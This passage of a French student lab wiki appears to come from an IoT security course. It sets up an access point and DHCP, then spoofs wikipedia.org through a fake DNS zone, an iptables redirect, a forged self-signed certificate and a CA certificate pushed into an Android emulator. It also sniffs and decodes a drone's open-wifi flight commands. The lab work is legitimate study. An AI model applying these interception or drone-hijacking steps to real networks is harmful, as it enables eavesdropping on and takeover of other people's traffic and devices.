dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du 4 ème octet (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11169</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11169"/>
		<updated>2026-01-13T13:59:16Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
